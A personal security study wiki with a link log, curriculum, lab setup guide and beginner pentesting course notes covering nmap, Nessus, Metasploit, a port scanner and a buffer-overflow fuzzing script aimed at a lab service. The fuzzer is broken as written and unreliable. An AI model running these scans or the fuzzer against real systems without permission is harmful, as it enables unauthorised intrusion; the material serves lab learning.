# Home

If you are here from the STL OWASP CTF, congrats on finding this page but there are no flags to be found here.

SecWiki is a GitBook that contains selected notes from my study of cyber security. Articles mainly focus on pentesting and CTFs, but also include dev topics.


# Interesting Links

A log to keep track of media

3/21

* [HALF OF CURL’S VULNERABILITIES ARE C MISTAKES](https://daniel.haxx.se/blog/2021/03/09/half-of-curls-vulnerabilities-are-c-mistakes/)

2/21

* [(Very) Basic Intro to Elliptic Curve Cryptography  ](https://qvault.io/2020/09/17/very-basic-intro-to-elliptic-curve-cryptography/)

1/21

* [It rather involved being on the other side of this airtight hatchway  ](https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31283)
* [CVE Stuffing](https://jerrygamblin.com/2020/12/17/cve-stuffing/)
* [Privilege Escalation via Python Library Hijacking](https://rastating.github.io/privilege-escalation-via-python-library-hijacking/)
* [Linux Privilege Escalation Using Capabilities](https://materials.rangeforce.com/tutorial/2020/02/19/Linux-PrivEsc-Capabilities/)
* [Stealing Your Private YouTube Videos, One Frame at a Time](https://bugs.xdavidhu.me/google/2021/01/11/stealing-your-private-videos-one-frame-at-a-time/)
* [A Deep Dive Into Hyperjacking](https://www.securityweek.com/deep-dive-hyperjacking)
* [How I hijacked the top-level domain of a sovereign state](https://labs.detectify.com/2021/01/15/how-i-hijacked-the-top-level-domain-of-a-sovereign-state/)

12/20

* [Sockets In Your Shell](https://who23.github.io/2020/12/03/sockets-in-your-shell.html)
* [Turning the frustration of a mobile game into a reverse engineering training](https://medium.com/@xplodwild/turning-the-frustration-of-a-mobile-game-into-a-reverse-engineering-training-a9887043efdf)
* [Weaknesses in the Key Scheduling Algorithm of RC4](https://link.springer.com/chapter/10.1007%2F3-540-45537-X_1)
* [Removing Exponential Backoff from TCP](https://networks.cs.northwestern.edu/publications/extr.pdf)
* <https://readme.localtest.me/>
* [The Great iPwn  : Journalists Hacked with Suspected NSO Group iMessage ‘Zero-Click’ Exploit](https://citizenlab.ca/2020/12/the-great-ipwn-journalists-hacked-with-suspected-nso-group-imessage-zero-click-exploit/)
* [Parsing JSON at the CLI: A Practical Introduction to \`jq\` (and more!)  ](https://sequoia.makes.software/parsing-json-at-the-cli-a-practical-introduction-to-jq-and-more/)
* [Google Dork Techniques](https://securitytrails.com/blog/google-hacking-techniques)

11/20

* [SSH Pivoting](https://blog.ikuamike.io/posts/2020/grayhat_red_team_village_ctf_tunneler_writeup/) - Red Team Village CTF Writeup
* [.git hacking](https://medium.com/swlh/hacking-git-directories-e0e60fa79a36)
* [Off-the-Record Communication, or, Why Not To Use PGP](https://otr.cypherpunks.ca/otr-wpes.pdf)
* [Exploiting X11 Unauthenticated Access](https://resources.infosecinstitute.com/topic/exploiting-x11-unauthenticated-access/)
* [Windows Subsystem for Linux: The lost potential](https://jmmv.dev/2020/11/wsl-lost-potential.html)

10/20

* [Linux and Unix sha1sum command tutorial with examples](https://shapeshed.com/unix-sha1sum/)
* <https://github.com/horshark/thm\\_hacking\\_encyclopedia/blob/master/THM\\_hacking\\_encyclopedia.pdf>
* <https://blog.cyberhacktics.com/carving-files-from-memory-with-volatility/>
* <https://blog.cyberhacktics.com/memory-forensics-on-windows-10-with-volatility/>

9/20

* [Does CSRF prevention also prevent reflected XSS attack](https://security.stackexchange.com/questions/66225/does-csrf-prevention-also-prevent-reflected-xss-attack)
* [The 'javascript' resource identifier scheme](https://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-00)
* [Sources and Sinks - Code Review Basics](https://www.youtube.com/watch?v=ZaOtY4i5w_U)
* [Let’s play a game: what is the deadly bug here?](https://www.youtube.com/watch?v=MpeaSNERwQA)
* <https://www.benkuhn.net/autocomplete/>

8/20

* [Architecture Playbook](https://nocomplexity.com/documents/arplaybook/introduction.html)
* LFI and RFI Attacks

7/20

* [A parable about privacy/encryption](https://cypherpunks.venona.com/date/1993/04/msg00559.html)
* [CrackMapExec](https://www.securenetworkinc.com/news/2017/8/22/crackmapexec-the-greatest-tool-youve-never-heard-of)
* [PDF Shadow Attacks](https://pdf-insecurity.org/)

6/20

* [Reverse Engineering Snapchat](https://hot3eed.github.io/2020/06/18/snap_p1_obfuscations.html)
* [SAT solver on top of regex matcher  ](https://yurichev.com/news/20200621_regex_SAT/)
* [What happens when you update your DNS?  ](https://jvns.ca/blog/how-updating-dns-works/)
* [Run Your Own Authoritative DNS Servers  ](https://www.joshmcguigan.com/blog/run-your-own-dns-servers/)

5/20

* [PrintDemon: Print Spooler Privilege Escalation, Persistence & Stealth (CVE-2020-1048 & more)](https://windows-internals.com/printdemon-cve-2020-1048/)
* [Security Flaws in Adobe Acrobat Reader Allow Malicious Program to Gain Root on macOS Silently](< https://rekken.github.io/2020/05/14/Security-Flaws-in-Adobe-Acrobat-Reader-Allow-Malicious-Program-to-Gain-Root-on-macOS-Silently/>)
* <https://emaragkos.gr/resources/>
* [White hat social engineering: How to become an admin of a system  ](https://ramon.dev/business/2020/05/11/become-an-admin.html)
* [STRIDE and Threat Modeling](https://paramsingh.github.io/notes/stride/)
* [Application Security Testing of Thick Client Applications](https://resources.infosecinstitute.com/application-security-testing-of-thick-client-applications/)
* [BSides SF 2020 CTF: Infrastructure Engineering and Lessons Learned](https://systemoverlord.com/2020/02/27/bsides-sf-2020-ctf-infrastructure-engineering.html)

4/20

* [Security 101 Series](https://systemoverlord.com/security-101)
* [Reverse shell with Netcat: some use cases](https://www.andreafortuna.org/2017/05/18/reverse-shell-with-netcat-some-use-cases/)
* [From DnsAdmins to SYSTEM to Domain Compromise](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise)
* [Microsoft Buys Corp.com So Bad Guys Can’t](https://krebsonsecurity.com/2020/04/microsoft-buys-corp-com-so-bad-guys-cant/)
* [HackTheBox Basic Setup Hosts File](https://sabebarker.com/writeups/hackthebox/getting-started/basic-setup/)


# Curriculum

<https://www.reddit.com/r/pentest/comments/cwvstm/how_to_start_studying_to_get_into_cyber_security/eyiihsv/>

I've received a few messages requesting info for starting out. I'll go ahead and lay out a full curriculum. It will consist of books, online courses (some free, some not), and associated certifications.

1. Operating Systems
   1. Windows
      1. ebook: Google for "Windows Operating System Fundamentals" filetype:pdf
      2. ebook: Google for "Windows Server Administration Fundamentals" filetype:pdf
      3. training: <https://www.edx.org/course/windows-server-2016-infrastructure>
      4. ebook: <https://en.wikibooks.org/wiki/Windows_Batch_Scripting>
      5. training: <https://www.edx.org/course/windows-powershell-basics-1>
   2. Linux
      1. training: <https://www.edx.org/course/introduction-to-linux>
      2. training: <https://www.edx.org/course/fundamentals-red-hat-enterprise-linux-red-hat-rh066x>
      3. ebook: <https://www.tldp.org/LDP/Bash-Beginners-Guide/Bash-Beginners-Guide.pdf>
      4. ebook: <https://www.perl.org/books/beginning-perl/>
   3. Mac (OS X)
      1. resource: <https://edu.gcfglobal.org/en/osxbasics/>
      2. book: Mac OS X For Unix Geeks, 4th Edition - ISBN: 9780596520625
      3. ebook: <http://macadmins.psu.edu/files/2017/07/psumac2017-212-Practical-Python-for-Mac-Admins-w5hh1r.pdf>
   4. OS Other
      1. book: Operating System Concepts 8th Edition - ISBN-13: 978-0470128725
      2. training: <http://www.vmwarevideos.com/free-vmware-training>
      3. resource: <https://geek-university.com/oracle-virtualbox/oracle-virtualbox-online-course/>
2. Networking Concepts
   1. training: <https://www.edx.org/course/it-support-networking-essentials-10>
   2. training: <https://www.edx.org/course/digital-networks-essentials>
   3. resource: <https://learningnetwork.cisco.com/thread/15662>
3. Programming
   1. C/C++
      1. resource: <https://www.edx.org/learn/c-plus-plus>
      2. training: <https://www.edx.org/course/programming-in-c-getting-started>
   2. Python
      1. training: <https://www.codecademy.com/learn/learn-python-3>
      2. book: Python Crash Course, 2nd Edition: A Hands-On, Project-Based Introduction to Programming - ISBN-13: 978-1593279288
   3. Java
      1. resource: <https://introcs.cs.princeton.edu/java/home/>
      2. resource: <https://developer.ibm.com/tutorials/j-introtojava1/>
   4. Javascript
      1. resource: <https://www.w3schools.com/js/>
      2. resource: <https://www.codecademy.com/learn/introduction-to-javascript>
      3. training: <https://www.coursera.org/learn/server-side-nodejs>
4. Cloud
   1. resource: <https://aws.amazon.com/training/>
   2. resource: <https://www.edx.org/learn/azure>
5. Broad Security Concepts
   1. resource: <https://www.edx.org/learn/cybersecurity>
   2. book: CISSP All-in-One Exam Guide, Eighth Edition - ISBN-13: 978-1260142655
   3. resource: [https://www.owasp.org](https://www.owasp.org/)
   4. resource: <https://nvd.nist.gov/800-53>
   5. resource: <https://cloudsecurityalliance.org/education/ccsk/study-guide/>
   6. resource: <https://isc.sans.edu/>
6. Pentesting
   1. training: <https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/>
   2. training: <https://www.offensive-security.com/information-security-certifications/oswe-offensive-security-web-expert/>
   3. book: The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws 2nd Edition - ISBN-13: 978-1118026472
   4. resource: <https://portswigger.net/web-security>
   5. training: <https://www.offensive-security.com/metasploit-unleashed/>
   6. training: <https://www.elearnsecurity.com/course/penetration_testing/>
   7. training: <https://www.elearnsecurity.com/course/web_application_penetration_testing/>


# Pentest Labs, Wargames Sites

Pentesting

* <https://www.virtualhackinglabs.com/>
* <https://www.hackthebox.eu/>
  * If you work through retired machines, <https://0xdf.gitlab.io/> has some of the best writeups.
* <https://lab.pentestit.ru/>
* <https://www.vulnhub.com/>

{% content-ref url="/pages/-MF7kmBbYreqT5ZCeFHi" %}
[How To Vulnhub with VirtualBox](/general/labs-wargames-ctf/how-to-vulnhub-virtualbox)
{% endcontent-ref %}

* <https://www.zeropointsecurity.co.uk/rastalabs>
  * an immersive Windows Active Directory environment, designed to be attacked as a means of learning and honing your engagement skills
* <https://www.wizlynxgroup.com/pwntilldawn-ctf/>

Wargames / CTFs

* <http://www.pwnable.kr/play.php#>
* OverTheWire.org
* 2018game.picoctf.com
* 247ctf.com
* defendtheweb.net

Training

* <https://seedsecuritylabs.org/labs.html>
* <http://exploit.education/>
* SEED Labs


# How To Vulnhub with VirtualBox

## Set up a VBox Pentesting Lab

{% embed url="<https://medium.com/@gavinloughridge/a-beginners-guide-to-vulnhub-part-1-52b06466635d>" %}

{% embed url="<https://www.youtube.com/watch?v=lhOY-KilEeE>" %}

Clone a Kali Rolling image and change the MAC address before putting it on an internal network and exposing it to a VM.

### DHCP Server

```
# Start DHCP Server (Windows)
PS > cd 'C:\Program Files\Oracle\VirtualBox\'  
PS > .\VBoxManage.exe dhcpserver add --netname penlabnetwork --ip 10.10.10.1 --netmask 255.255.255.0 --lowerip 10.10.10.2 --upperip 10.10.10.12 --enable 

# To Restart (Windows)
PS > .\VBoxManage.exe dhcpserver restart --network=penlabnetwork

# Start DHCP Server (Linux)
$ vboxmanage dhcpserver add — netname test-network — ip 10.10.10.1 — netmask 255.255.255.0 — lowerip 10.10.10.2 — upperip 10.10.10.12 — enable
```

If you've lost connection with the DHCP Server, you can run `sudo service networking restart`. If that doesn't work, restart your VM. If you still get no IPcheck your VM's Networking Settings to make sure the Cable Connected box is checked.

### Static IP

In Kali VM, add the following to the end of /etc/network/interfaces:

```
auto eth0
iface eth0 inet static
    address 10.0.0.1  # new static IP
    netmask 255.255.255.0
```

Then run:

```
sudo ifup eth0 
sudo service networking restart
```

## Find VMs on your Internal Network

If you are using a DHCP server, just `nmap <your_ip_range>`. You can cross off the DHCP server address and your attacker VM's address (which you can check with `ifconfig eth0`). Vulnerable boxes usually have more ports open too.

{% embed url="<https://pentester.land/tips-n-tricks/2018/06/26/How-to-get-the-IP-address-of-a-downloaded-vulnerable-machine.html>" %}

## Add Hostnames for IP Addresses

Just add a line to your `/etc/hosts` file in your attacker VM.

```
$ echo "10.0.0.6    dc-2" >> /etc/hosts
$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
...
10.10.10.133    onetwoseven.htb
10.0.0.6    dc-2
```

## Convert VMs from VMWare (.vmx) to VirtualBox (.ovf)

```
PS C:\Program Files (x86)\VMware\VMware Player\OVFTool> ./ovftool "C:\Users\<user>\VMWare VMs\Kioptix Level 1\Kioptix Level 1.vmx" "C:\Users\<user>\VirtualBox VMs\Kioptix Level 1.ovf"
```


# Courses


# TCM - Zero to Hero

Beginner Network Pentesting


# Week 1: Setup

Introduction, Notekeeping, and Introductory Linux

**Setting Up A Penetration Testing Environment** - This will focus on setting up a lab environment, specifically VMWare, Kali Linux, and our lab VMs. The lesson will briefly introduce important aspects of each set up (e.g. Snapshots in VMWare, the Kali Linux toolset, etc.) with the intention to build upon those aspects in later lessons.\
\
**How to Keep Notes Effectively** - This lesson will cover the importance of note taking from a pentester standpoint. The lesson will introduce the Kali Linux built-in note-taking application, KeepNote, and discuss how to take notes effectively. Taking notes during a penetration test is incredibly important as it allows a pentester reference points when writing their final report, discussing timelines with their team or manager, or even discussing specifics of a pentest with a client.\
\
**Introductory Linux** - This lesson will briefly cover the important Linux terminal commands needed to use Kali Linux. Some of the topics that will be covered are: navigating the file system, users and privileges, common network commands, bash scripting, and much more.

## Setup

```
apt update && apt upgrade
#     update checks the repos for new versions and indexes
#     upgrade downloads all the newest versions

#     selected GRUB partition sda instead of sda1
    
#     need to install postgresql 12 and uninstall 11

apt autoremove

# download into /opt/ directory
#     /opt is for "the installation of add-on application software packages"

# installed impacket into opt from git
#    in directory, pip install .

# use systemctl to turn on services by default (on boot)
systemctl enable ssh
systemctl enable postgresql  # useful for metasploit

# just for this session use “service”
service enable apache2
service enable ssh

root@kali:~# ping -c 1 10.0.2.2 | grep "64" | cut -d " " -f 4 | tr -d ":"
10.0.2.2

root@kali:~# cat iplist.txt
10.0.2.3
10.0.2.4
10.0.2.2
10.0.2.15

root@kali:~# for ip in $(cat iplist.txt); do nmap -p 80 -T4 $ip & done
[1] 5115
[2] 5116
[3] 5117
[4] 5118
```

## Useful Locations

* /etc/passwd
  * contains the user list
  * most users will have permission to read the file
* /etc/shadow
  * contains the hashed passwords
  * only root can read the file
* /var/log/auth.log
  * &#x20;stores all security related messages including **authentication** failures

```
root@kali:/var/log# grep bob auth.log
Dec  8 11:53:12 kali groupadd[2915]: group added to /etc/group: name=bob, GID=1000
Dec  8 11:53:12 kali groupadd[2915]: group added to /etc/gshadow: name=bob
Dec  8 11:53:12 kali groupadd[2915]: new group: name=bob, GID=1000
Dec  8 11:53:12 kali useradd[2921]: new user: name=bob, UID=1000, GID=1000, home=/home/bob, shell=/bin/bash
Dec  8 11:53:21 kali passwd[2931]: pam_unix(passwd:chauthtok): password changed for bob
Dec  8 11:53:25 kali chfn[2932]: changed user 'bob' information
Dec  8 12:00:12 kali su: (to bob) root on pts/0
Dec  8 12:00:12 kali su: pam_unix(su:session): session opened for user bob by (uid=0)
Dec  8 12:01:24 kali sudo:      bob : user NOT in sudoers ; TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
```

* /var/log/syslog
  * everything, except auth related messages
* /var/log/messages
  * storing valuable, non-debug and non-critical messages
  * "general system activity"


# ipsweep.sh

```
# iplist.txt:
10.0.2.3
10.0.2.4
10.0.2.2
10.0.2.15
```

```
#!/bin/bash

# ipsweep.sh
if [ "$1" == "" ]
then
echo "Syntax: ./ipsweep.sh xxx.xxx.xxx"

else
for ip in `seq 1 254`; do
ping -c 1 $1.$ip | grep "64 bytes" | cut -d " " -f 4 | tr -d ":" &
done
fi
```


# Week 2: Python 101

Introductory Python

**Introductory Python** - Similar to Linux, we will spend some time learning basic Python scripting, which will be essential to our future endeavors as penetration testers.


# python101.py

```python
#!/bin/python3

#Print string
print("Strings and things:")
print('Hello, world!')
print("""Hello, this is
a multi-line string""")
print("This is" +" a string")

print('\n') #new line

#Maths
print("Math time:")
print(50+50) #add
print(50-50) #sub
print(50*50) #mult
print(50/50) #divide
print(50 +50 - 50 * 50 /50) #PEMDAS
print(50 ** 2) #exponents
print(50 % 6) #modulo
print(50 // 6) #number without remainder

print('\n') #new line

#Variables & Methods
print("Variables and Methods:")
quote = "All is fair in love and war"
print(len(quote)) #length
print(quote.upper()) #uppercase
print(quote.lower()) #lowercase
print(quote.title()) #title

name = "Heath"
age = 29 #int int(29) <-- declare as integer
gpa = 3.7 #float float(3.7)

print(int(age))
print(int(gpa)) #does not round

print("My name is: " + name + " and I am " + str(age)  + " years old.")

age += 1 #increment
print (age)
print('\n') #new line
#Functions
print("Functions:")
def who_am_i():
	name = "Heath"
	age = 29
	print("My name is: " + name + " and I am " + str(age)  + " years old.")
who_am_i()

#adding in params
def add_one_hundred(num):
	print(num + 100)

add_one_hundred(100)

def add(x,y):
	print(x+y)
add(7,7)
add(305,207)
#using return
def multiply(x,y):
	return x * y
print(multiply(5,5))

def sqr_root(x):
	return x ** .5
print(sqr_root(64))

print()

#boolean expressions (True or False)
print("Boolean expressions:")
bool1 = True
bool2 = 3*3 == 9
bool3 = False
bool4 = 3*3 != 9
print(bool1,bool2,bool3,bool4)
print(type(bool1))
bool5 = "True"
print(type(bool5))

print()

#Relational and Boolean Operators
gt = 7 > 5
lt = 5 < 7
gte = 7 >= 7
lte = 7 <=7
print(gt,lt,gte,lte)

test_and = (7 > 5) and (5 < 7)
test_or = (7 > 5) or (5 < 7)
test_not = not True

print(test_and, test_or, test_not)
print()

#Conditionals
print("Conditionals")
def soda(money):
	if money >= 2:
		return "Soda!"
	else:
		return "no soda :("
print(soda(1) + " - " + soda(2))

def alcohol(age,money):
	if(age>=21) and (money >= 5):
		return "tipsy"
	elif (age>=21) and (money < 5):
		return "need money"
	elif (age < 21) and (money>=5):
		return "need years"
	else:
		return "need money and years on ya"
print(alcohol(25,5))
print(alcohol(15,8))
print(alcohol(21,4))
print(alcohol(18,2))
print()

#Lists
print("Lists:")
movies = ["The Hangover", "Hot Shots", "Airplane", "The Exorcist"]
print(movies[0])
print(movies[0:2]) #elements 0 and 1 (up to but not including 2nd element)
print(movies[1:]) #slice, 1st element onward
print(movies[:1]) #slice, up to the 1st element (just the 0th element)
print(movies[-1]) #takes last item (underflow)
print(len(movies))

movies.append("JAWS")
print(movies)

movies.pop() #removes last item in list
print(movies)

movies.pop(1) #removes 2nd item in list (Hot Shots)
print(movies)

movies = ["The Hangover", "Hot Shots", "Airplane", "The Exorcist"]
person = ["Heath", "Jake", "Leah", "Jeff"]
combined = zip(movies, person)
print(list(combined))
print()

#Tuples
print("Tuples have parentheses, not brackets and cannot change") #immutable
grades = ("A","B","C","D","F")
print(grades[1])
print()

#Looping
print("For loops - start to finish of iterate:")
vegetables = ["cukes","spinach","cabbage"]
for x in vegetables:
	print(x)
print("While loops - execute as long as true:")
i = 1
while i < 10:
	print(i)
	i+=1






```


# bof.py

```python
#!/usr/bin/python
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
	try:
		s.socket.socket(socket.AF_INET.socket.SOCK_STREAM)
		s.connect(('192.168.1.1',9999))
		s.send(('TRUN /.:/' + buffer))
		s.close()
		sleep(1)
		buffer = buffer + "A"*100
	except:
		print "Fuzzing crashed at %s bytes" % (str(len(buffer))
		sys.exit()
```


# Week 3: Python 102

Building a Terrible Port Scanner

**Introductory Python** - Similar to Linux, we will spend some time learning basic Python scripting, which will be essential to our future endeavors as penetration testers.

## Notes

Python scripting in python102.py, a simple portscanner in scanner.py.

installed text size plugin for gedit

```
apt-get install -y gedit-plugin-text-size
```

HOST FILES\
python -m SimpleHTTPServer 80\
\---OR---\
python3 -m http.server 80\
\
HOST AN FTP SERVER\
\#pip3 install pyftpdlib\
python3 -m pyftpdlib -p 21 -w #-w allows anonymous users\
\
Navigate to <ftp://10.0.2.15> or wherever your ipconfig says

print router's IP address:

```
ip route show | grep -i 'default via'| awk '{print $3 }'
```


# python102.py

```python
#!/bin/python3

#Importing
print("Importing is important:")

import sys #system functions and parameters

from datetime import datetime
print(datetime.now())

from datetime import datetime as dt #importing with an alias
print(dt.now())


#def new_line():
#	print('\n')
#new_line()

#Advanced Strings
print("Advanced Strings")
my_name = "James"
print(my_name[0]) #first initial
print(my_name[-1]) #last letter
#print(my_name[len(my_name)-1]) #last letter

sentence = "This is a sentence."
print(sentence[:4]) #first word
print(sentence[-9:]) #last word
print(sentence[-9:-1]) #last word minus period

print(sentence.split()) #split sentence by delimiter (default space)
sentence_split = sentence.split() #now an array
sentence_join = ' '.join(sentence_split) #join each element with a space between
print(sentence_join) #reconstructed
print('\n'.join(sentence_split)) #join each element with a new line

quoteception = "I said, 'give me all the money'"
print(quoteception)
quoteception = "I said, \"give me all the money\""	#escape quotes
print(quoteception)

print("A" in "Apple") #boolean
letter = "a"
word = "Apple"

print (letter in word)
print(letter.lower() in word.lower()) #improved - case insensitive

word_two = "Bingo"
print((letter.lower() in word.lower()) and not (letter.lower() in word_two.lower()))


space = "                   hello        "
print(space.strip()) #default removes spaces

full_name = "eath Adams"
print(full_name.replace("eath", "Heath"))
index_of_last_name = full_name.find("Adams")
print(full_name[index_of_last_name:])

movie = "The Hangover"
print("My favorite movie is {}.".format(movie)) #placeholder

def favorite_book(title, author):
	fav = "My favorite book is \"{}\", which is written by {}.".format(title,author)
	return fav

print(favorite_book("Hitchhiker's Guide to the Galaxy", "Douglas Adams"))

print()

#Dictionaries
print("Dictionaries are keys and values:")
drinks = {"White Russian": 7,"Old Fashioned":10,"Lemon Drop":8,"Buttery Nipple":6} #drink:cost
print(drinks)

employees = {"Finance": ["Bob","Linda","Tina"], "IT": ["Gene","Louise", "Teddy"], "HR": ["Jimmy Jr.", "Mort"]}
print(employees)

employees["Legal"] = ["Mr. Frond"] #add new key:value pair
print(employees)

employees.update({"Sales": ["Andie", "Ollie"]})
print(employees)

drinks['White Russian'] = 8
print(drinks)
print(drinks.get("White Russian"))
print(drinks.get("DNE")) #getting a nonexistent entry returns None

#Lists and Dictionaries
movies = ["a", "b", "c", "d", "e"]
person = ["Heath", "Bob","Jon","Tiger"]
combined = zip(movies, person)
movie_dictionary = {key: value for key, value in combined}

print(movie_dictionary)

```


# scanner.py

```python
#!/bin/python3

import sys #system functions and parameters, allows us to enter command line arguments
import socket
from datetime import datetime as dt

#Define our target

if len(sys.argv) == 2:
	target = socket.gethostbyname(sys.argv[1]) #translate a host name to IPV4
else:
	print("Syntax: python3 scanner.py <ip>")
	sys.exit(1)


#Add a pretty banner
print("-" * 50)
print("Scanning target " + target)
print("Time started: "+str(dt.now()))
print("-" * 50)

try:
	for port in range(50,85):
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		socket.setdefaulttimeout(1) #is a float; so as not to hang on a port
		result = s.connect_ex((target,port)) #returns error indicator
		print("Checking port {}".format(port))
		if result == 0:
			print("Port {} is open".format(port))
		s.close()
except KeyboardInterrupt:
	print("\nExiting program.")
	sys.exit()

except socket.gaierror: #cannot connect to hostname
	print("Hostname could not be resolved.")
	sys.exit()

except socket.error:
	print("Couldn't connect to server.")
	sys.exit()

```


# Week 4: Passive OSINT

**Hacking in Five Steps** - This lesson will introduce the five key components of hacking: reconnaissance, enumeration, exploitation, maintaining access, and covering tracks. These five key concepts will be built upon as we progress, with at least one part dedicated to each component.\
**The Art of Reconnaissance** - This lesson will discuss reconnaissance in depth and cover common tools used in the process. Some of the tools that will be covered are the OSINT Framework, SET, theHarvester, Bluto, Google Dorks, and Shodan. More tools will likely be added as the lesson is written.

## Five Stages of Hacking

| 01             | 02                       | 03             | 04                 | 05              |
| -------------- | ------------------------ | -------------- | ------------------ | --------------- |
| Reconnaissance | Scanning and Enumeration | Gaining Access | Maintaining Access | Covering Tracks |

### **Passive Recon - Physical / Social**

#### Location Information

• Satellite images\
• drone recon\
• building layout (badge readers, break areas, security, fencing)

#### Job Information

• Employees (name, job title, phone number, manager, etc.)\
• Pictures (badge photos, desk photos, computer photos, etc.)

### **Passive Recon - Web / Host**

#### Target Validation

• WHOIS, nslookup, dnsrecon

#### Finding Subdomains

• Google-fu, dig, Nmap, Sublist3r, Bluto, crt.sh, etc.

#### Fingerprinting

• Nmap, Wappalyzer, WhatWeb, BuiltWith, Netcat

#### Data Breaches

• HaveIBeenPwned and similar lists\ <br>


# Week 5: Scanning Tools & Tactics

**Scanning Tactics** - This lesson will cover common tools in-depth that are used for port scanning including Nmap, Nessus, and Metasploit. The section will introduce readers to using a wide toolset for scanning on penetration tests and provide a deeper understanding of what is going on behind the scenes. For example, the importance of TCP vs UDP scanning, the three-way TCP handshake, stealth scanning, and various Nmap switches. It will also provide the first introduction to Metasploit and its usage, which will be built upon throughout the course.

## TCP vs UDP

* TCP
  * Connection-oriented
  * has a handshake
  * used on applications requiring high reliability
  * E.g. HTTP, FTP, Telnet
* UDP
  * Connectionless&#x20;
  * No handshake
  * used on applications requiring a fast connection
  * E.g. DNS, DHCP, SNMP

### 3-way handshake

```
SYN SYN, ACK ACK
SYN SYN ACK RST --reset packet
```

Don't get bogged down in web exploitation (password spraying, sql injection, XSS, credential stuffing) if they aren't paying for web exploitation.


# nmap

## Flags

-Pn: Treat all hosts as online (No ping)\
&#x20;This option skips the Nmap discovery stage altogether. Normally, Nmap uses this stage to determine active machines for heavier scanning. By default, Nmap only performs heavy probing such as port scans, version detection, or OS detection against hosts that are found to be up. Disabling host discovery with -Pn causes Nmap to attempt the requested scanning functions against every target IP address specified.\
-sS: Stealth Scan (TCP)\
-sU: UDP\
-sV: Probe open ports to determine service/version info\
-sN: sweep network\
-A: Enable OS detection, version detection, script scanning, and traceroute\
-p-: specifies every port\
-T1 up to -T5 slower to faster scanning (faster == more likely to miss)\
-p switch we can define port range\
-O: operating system detection\
-v: verbose, -vv: very verbose\
\
**OUTPUT**:\
-oN/-oX/-oS/-oG \<file>: Output scan in normal, XML, s|\<rIpt kIddi3\
-oA \<basename>: output in 3 major formats at once<br>

```
nmap -sn 192.168.1.0/24
# ->found router at 192.168.1.1
______________________

nmap -T4 192.168.1.1
#     ^T1-T5 slower to faster scanning (faster == more likely to miss)
______________________

nmap -T4 192.168.1.1
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 14:12 EST
Nmap scan report for Linksys15214 (192.168.1.1)
Host is up (0.0047s latency).
Not shown: 993 filtered ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10000/tcp open snet-sensor-mgmt
49152/tcp open unknown
49153/tcp open unknown
______________________

More efficient: scan for all ports, then scan -A with those specific ports, e.g.
nmap -T4 -p- 192.168.1.1
nmap -T4 -A -p53,80,139,445,10000,49152,49153 192.168.1.1
______________________

nmap -T4 -A -p- 192.168.1.1
^-A is for all (ask for as much info as possible)
-A: Enable OS detection, version detection, script scanning, and traceroute
-p-: specifies every port
______________________

UDP scans: time intensive, false positives, lots of time to scan 60,000 ports
nmap -sU -T4 192.168.1.1
______________________

ls /usr/share/nmap/scripts/ #list all nmap scripts

nmap -p 443 --script=all # will take a lot of time

nmap -p 443 --script=ssl-enum-ciphers tesla.com
```


# Nessus

```
dpkg -i Nessus-8.8.0-debian6_amd64.deb

/etc/init.d/nessusd start
ln -s /etc/init.d/nessusd ~/bin/nessusd
ln -s /opt/nessus/sbin/nessuscli ~/bin/nessuscli

# navigate to https://kali:8834

--Activation code: ####-####-####-####-####
--create user account for nessus essentials
--username: password

/opt/nessus/sbin/nessuscli update


# Disable groups to see all the vulns
```


# msfconsole

```
msf5 > search portscan
msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > info
msf5 auxiliary(scanner/portscan/syn) > options  # check defaults and see what options you still need to set

Module options (auxiliary/scanner/portscan/syn):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to scan per set
   DELAY      0                yes       The delay between connections, per thread, in milliseconds
   INTERFACE                   no        The name of the interface
   JITTER     0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS      1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   SNAPLEN    65535            yes       The number of bytes to capture
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    500              yes       The reply read timeout in milliseconds

msf5 auxiliary(scanner/portscan/syn) > set ports 1-65535
ports => 1-65535
msf5 auxiliary(scanner/portscan/syn) > set rhosts 192.168.1.1
rhosts => 192.168.1.1
msf5 auxiliary(scanner/portscan/syn) > run
```


# Week 6: Enumeration

**Enumeration for the win** - The intent of this lesson is to provide an overview of basic enumeration tactics and then dive deep into specific tools used for common ports found in penetration testing. For example, if we find port 80 open on a scan (HTTP), we will likely want to know what service is running and enumerate that service for potential exploits at a high level. At a deep level, we will want to explore the app with tools such as Nikto, Dirbuster/Dirb, and Burp Suite to really enumerate the app where tools like Nmap and Nessus fail to go deep enough.<br>

## Notes

If you see a test page, it indicates poor hygiene.

Unless it's a web app assessment, you don't need to discuss headers e.g. (from nikto)\
\+ The anti-clickjacking X-Frame-Options header is not present.\
\+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS\
\+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type\
\
Want to do a bruteforce attack on SSH at some point to make sure their SIM catches it\
\
Penetration Tester - make a lot of noise\
Red Team - try not to trigger anything<br>

### HTB: OneTwoSeven - Retired

```
$ nmap -T4 -p- <ip>
$ nmap -sU -T4 <ip>

open ports: 22,80, 60080

$ nmap -A -T4 -p22,80,60080

# cannot access filtered port at 10.10.10.133:60080, so add to local DNS file

$ gedit /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.10.10.133    onetwoseven.htb

........
```

### smbclient

```
smbclient -L \\\\10.10.10.4
smbclient \\\\10.10.10.4\\IPC$
```

### searchsploit

```
searchsploit apache 1.3
